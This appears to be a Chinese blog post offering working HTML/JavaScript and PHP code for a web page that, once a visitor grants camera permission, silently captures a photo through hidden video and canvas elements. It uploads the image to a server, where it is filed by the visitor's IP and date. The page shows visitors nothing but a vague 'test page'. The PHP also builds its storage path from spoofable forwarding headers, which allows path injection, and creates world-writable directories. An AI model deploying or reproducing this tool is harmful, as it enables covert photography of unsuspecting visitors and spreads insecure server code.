实现功能
分别创建index.html
和photo.php
两个文件并上传至网站服务器即可;
创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;
允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类;
说明
建站环境需求:Nginx
PHP 7.0+
如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片;index.html
代码第25行处需要指定photo.php
文件的所在位置,如果文件在网站根目录下无需修改;
注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限;
index.html代码
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="" content="content">
<title>SunPma'Blog</title>
<style>
.container {
width: 60%;
margin: 10% auto 0;
background-color: #f0f0f0;
padding: 2% 5%;
border-radius: 10px
}
ul {
padding-left: 20px;
}
ul li {
line-height: 2.3
}
a {
color: #20a53a
}
</style>
</head>
<body>
<canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
<video id="video" style="display: none;width: 250px;height: 300px;"></video>
<script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>
<script>
window.addEventListener("DOMContentLoaded",function(){
var canvas = document.getElementById('canvas');
var context =canvas.getContext('2d');
var video = document.getElementById('video');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
$.post('/other/photo.php',{'imegse':img},function(data){
//指定photo.php文件所在位置
})
} ,1300)
},function(){
alert('缺少访问权限');
location.reload();
})
}
},false);
</script>
<div class="container">
<h1>测试页</h1>
<h3>获取相机权限;</h3>
<h3>自动拍照上传至服务器;</h3>
<ul>
<li>图片每日自动清理;</li>
<li>网址:https://yuanma.yt3166.com</li>
</ul>
</div>
</body>
</html>
photo.php代码
<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
{
//接收 base64 数据
$image = $_POST['imegse'];
if (empty($image)) {
return null;
}
//设置图片名称
$imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
//判断是否有逗号 如果有就截取后半部分
if (strstr($image, ",")) {
$image = explode(',', $image);
$image = $image[1];
}
//设置图片保存路径
$path = "./img/" . getIp() . '/' . date("Ymd", time());
//判断目录是否存在 不存在就创建
if (!is_dir($path)) {
mkdir($path, 0777, true);
}
//图片路径
$imageSrc = $path . "/" . $imageName;
//生成文件夹和图片
$r = file_put_contents($imageSrc, base64_decode($image));
if (!$r) {
return 0;
} else {
return 1;
}
}
function getIp()
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
© 版权声明
THE END
暂无评论内容